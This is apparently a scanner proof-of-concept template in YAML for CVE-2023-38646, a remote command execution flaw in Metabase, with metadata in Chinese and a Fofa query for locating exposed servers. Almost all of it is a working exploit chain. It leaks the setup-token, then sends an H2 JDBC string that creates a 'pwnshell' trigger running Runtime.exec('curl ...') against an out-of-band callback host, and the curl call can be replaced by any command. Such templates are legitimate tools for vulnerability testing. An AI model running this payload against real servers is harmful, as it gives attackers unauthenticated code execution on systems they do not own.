CVE-2023-38646: Metabase 远程命令执行漏洞 RCE

id: CVE-2023-38646

info:
  name: Metabase 远程命令执行漏洞 RCE
  author: xpoc
  severity: critical
  verified: true
  description: |
    Metabase 是开源的数据分析和可视化工具，支持多种数据源连接，包括数据库、云服务和API。未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令。值得注意的是，修复后的版本也需要在完成安装后才可修复漏洞，否则依旧存在被攻击者利用的可能性。
    Fofa: app="Metabase"
  reference:
    - https://stack.chaitin.com/techblog/detail?id=140
    - https://mp.weixin.qq.com/s/IXogu26hFaQgCzLuPuzPKQ
  tags: cve,cve2023,metabase,rce
  created: 2023/07/27

set:
  oob: oob()
  oobHTTP: oob.HTTP
rules:
  r0:
    request:
      method: GET
      path: /api/session/properties
    expression: response.body.bcontains(b'"setup-token":')
    output:
      search: |-
        "setup-token\":\"(?P<token>.*?)\"".bsubmatch(response.body)
      token: search["token"]
  r1:
    request:
      method: POST
      path: /api/setup/validate
      headers:
        Content-Type: application/json
      body: |
        {
          "token": "{{token}}",
          "details":
          {
              "is_on_demand": false,
              "is_full_sync": false,
              "is_sample": false,
              "cache_ttl": null,
              "refingerprint": false,
              "auto_run_queries": true,
              "schedules": {},
              "details":
              {
                  "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {{oobHTTP}}')\n$$--=x",
                  "advanced-options": false,
                  "ssl": true
              },
              "name": "an-sec-research-team",
              "engine": "h2"
          }
        }
    expression: oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0() && r1()